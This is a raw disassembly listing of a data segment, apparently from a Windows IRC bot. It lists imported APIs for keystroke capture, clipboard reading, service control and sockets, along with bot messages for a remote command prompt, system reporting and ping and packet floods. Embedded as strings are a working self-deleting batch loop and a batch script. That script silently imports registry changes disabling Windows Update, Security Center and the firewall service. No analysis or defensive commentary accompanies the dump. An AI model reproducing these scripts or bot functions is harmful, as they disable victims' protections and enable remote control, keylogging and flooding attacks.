aRecv		db 'recv',0             ; DATA XREF: sub_4089F2+5ECo
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_4089F2+5DFo
		align 4
aSend		db 'send',0             ; DATA XREF: sub_4089F2+5D2o
					; sub_40CE55+20D7o
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4089F2+5C5o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4089F2+5B8o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_4089F2+5ABo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4089F2+59Eo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4089F2+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4089F2+584o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4089F2+577o
					; seg000:0042C9ECo
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4089F2+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_4089F2+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4089F2+550o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4089F2+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4089F2+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4089F2+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4089F2+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4089F2+50Fo
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4089F2+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4089F2+4F6o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4089F2+483o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4089F2+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4089F2+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4089F2+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4089F2+44Fo
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4089F2+442o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4089F2+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4089F2+428o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4089F2+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4089F2:loc_408E01o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4089F2:loc_408DD9o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4089F2+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4089F2+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4089F2+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4089F2+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4089F2+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4089F2+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4089F2+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4089F2:loc_408D2Bo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4089F2+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4089F2+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4089F2:loc_408CE6o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4089F2+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4089F2+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4089F2+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4089F2+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4089F2+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4089F2+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4089F2:loc_408C51o
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4089F2+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4089F2+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4089F2+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4089F2:loc_408BEAo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4089F2+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4089F2+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4089F2+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4089F2+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4089F2+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4089F2+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4089F2+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4089F2+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4089F2:loc_408B27o
					; sub_41E6EE+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4089F2:loc_408AFAo
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4089F2+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4089F2+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4089F2+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4089F2+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4089F2+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4089F2+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4089F2+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4089F2+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4089F2+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4089F2+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4089F2+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4089F2+Ao
		align 4
dword_429A0C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40967F+2F2o
		dd 2029206Ch, 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40967F+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40967F+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409C08+72o
		align 10h
aMirc		db 'mIRC',0             ; DATA XREF: sub_409CCD+5o
					; sub_414390+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_409D4F+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409DF3+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409E15+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409E15+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_409E15+48o
		align 4
aCA1c_bat	db 'c:\a1c.bat',0       ; DATA XREF: sub_409F9D+29o
		align 10h
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409F9D+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 4
unk_42B368	db    2			; DATA XREF: sub_40A093:loc_40A152o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42B3AC	db    2			; DATA XREF: sub_40A093:loc_40A120o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 10h
unk_42B3F0	db    2			; DATA XREF: sub_40A093:loc_40A0ECo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42B428	db    2			; DATA XREF: sub_40A093+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42B46C	db    2			; DATA XREF: sub_40A217+13Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42B4AC	db    2			; DATA XREF: sub_40A217+6Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 4
dword_42B4E8	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40A3A3+1C6o
		dd 2029206Ch, 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42B528	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40A3A3+8Eo
		dd 2029206Ch, 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40A621+33o
dword_42B574	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A6A8:loc_40A7DAo
		dd 2029206Ch, 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42B5B8	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A6A8+10Fo
		dd 2029206Ch, 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42B5F4	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A6A8:loc_40A78Eo
		dd 2029206Ch, 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42B638	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A7FD+194o
		dd 2029206Ch, 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42B680	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A7FD+14Co
		dd 2029206Ch, 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40A7FD+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40A9B2+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40AAD1+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 10h
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40AAD1+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40AAD1:loc_40AC35o
		align 4
word_42B7C4	dw 3Fh			; DATA XREF: sub_40AAD1:loc_40ABD3r
					; sub_40C297+1Fo
		align 4
dword_42B7C8	dd 28207325h, 297325h	; DATA XREF: sub_40AAD1+EBo
dword_42B7D0	dd 3F3F3Fh		; DATA XREF: sub_40AAD1:loc_40AB94o
					; seg000:loc_414341o
a2003		db '2003',0             ; DATA XREF: sub_40AAD1+BAo
					; seg000:0042C474o ...
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40AAD1+AAo
					; seg000:0041432Co ...
		align 10h
a2k		db '2K',0               ; DATA XREF: sub_40AAD1+98o
					; seg000:0041431Co
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40AAD1+7Eo
					; seg000:00414303o
		align 4
a98		db '98',0               ; DATA XREF: sub_40AAD1+6Co
					; seg000:004142F3o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40AAD1+5Ao
					; seg000:004142E3o
		align 10h
a95		db '95',0               ; DATA XREF: sub_40AAD1+46o
					; seg000:004142D5o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40AD85+ABo
		align 4
off_42B834	dd offset loc_412F4C+2	; DATA XREF: sub_40AD85:loc_40ADF9o
dword_42B838	dd 4E414Ch		; DATA XREF: sub_40AD85:loc_40ADF2o
dword_42B83C	dd 6C616944h, 70752Dh	; DATA XREF: sub_40AD85+5Bo
dword_42B844	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40AD85+48o
unk_42B854	db    2			; DATA XREF: sub_40AE4B:loc_40B004o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 4
unk_42B898	db    2			; DATA XREF: sub_40AE4B:loc_40AFFDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42B8D8	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AE4B+1A0o
		dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h,	2064696Ch
		dd 2E4C5255h, 0
unk_42B908	db    2			; DATA XREF: sub_40AE4B:loc_40AFDEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42B958	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AE4B+18Co
		dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h,	69736976h
		dd 2E646574h, 0
